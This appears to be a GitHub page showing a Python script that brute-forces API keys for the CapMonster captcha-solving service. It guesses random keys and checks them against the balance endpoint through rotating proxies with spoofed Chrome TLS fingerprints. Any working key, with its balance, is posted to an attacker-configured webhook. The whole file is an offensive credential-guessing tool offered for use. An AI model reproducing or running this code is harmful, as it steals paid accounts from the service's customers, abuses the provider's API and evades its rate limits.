-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.py
68 lines (60 loc) · 2.89 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import concurrent.futures
import os;os.system("clear & cls")
import random
import string
import tls_client
requests = tls_client.Session(client_identifier="chrome116",random_tls_extension_order=True)
banner = """
_ _ _
| | | | | |
___ __ _ _ __ _ __ ___ ___ _ __ ___| |_ ___ _ __ ___| |__ ___ ___| | _____ _ __
/ __/ _` | '_ \| '_ ` _ \ / _ \| '_ \/ __| __/ _ \ '__| / __| '_ \ / _ \/ __| |/ / _ \ '__|
| (_| (_| | |_) | | | | | | (_) | | | \__ \ || __/ | | (__| | | | __/ (__| < __/ |
\___\__,_| .__/|_| |_| |_|\___/|_| |_|___/\__\___|_| \___|_| |_|\___|\___|_|\_\___|_|
| |
|_| Author : github.com/VirusNoirrr
"""
print(banner)
# SETTINGS
settings = {
"webhook_url":"your_webhook_here", # PUT YOUR WEBHOOK HERE
"threads":5 # THREADS
}
class Checker:
def __init__(self,proxys):
self.proxys = proxys
def check(self):
key = ''.join(random.choice(string.ascii_lowercase + string.digits + string.digits) for _ in range(32))
proxy = random.choice(self.proxys) if len(self.proxys) >= 1 else None
if proxy:
requests.proxies = {
"http":f"http://{proxy}",
"https":f"https://{proxy}"
}
try:
response = requests.post("https://api.capmonster.cloud/getBalance", headers={"Content-Type": "application/json"}, json={"clientKey": key})
if response.status_code == 200:
balance = response.json()["balance"]
print(f"[+] Working Key: {key} <|> Balance: {balance}")
if settings["webhook_url"].startswith("http"):
requests.post(settings["webhook_url"],data={"content":f"**Working Key: `{key}` <|> Balance: `{balance}`**\n***by [VirusNoir](https://github.com/VirusNoirrr)***","username":"github.com/VirusNoirrr"})
return 1
elif "ERROR_KEY_DOES_NOT_EXIST" in response.text:
print(f"[-] Invalid Key: {key}")
return 0
else:
print(f"[!] Unkown Response | status code : {response.status_code} | Response : {response.text}")
return 0
except Exception as e:
print(f"[!] Error : {e}")
return 0
def main():
checker = Checker(proxys=open("proxys.txt").read().splitlines())
try:
while True:
with concurrent.futures.ThreadPoolExecutor(max_workers=2 if settings["threads"] < 2 else settings["threads"]) as s:
s.submit(checker.check)
except KeyboardInterrupt:
exit()
if __name__ == "__main__":
main()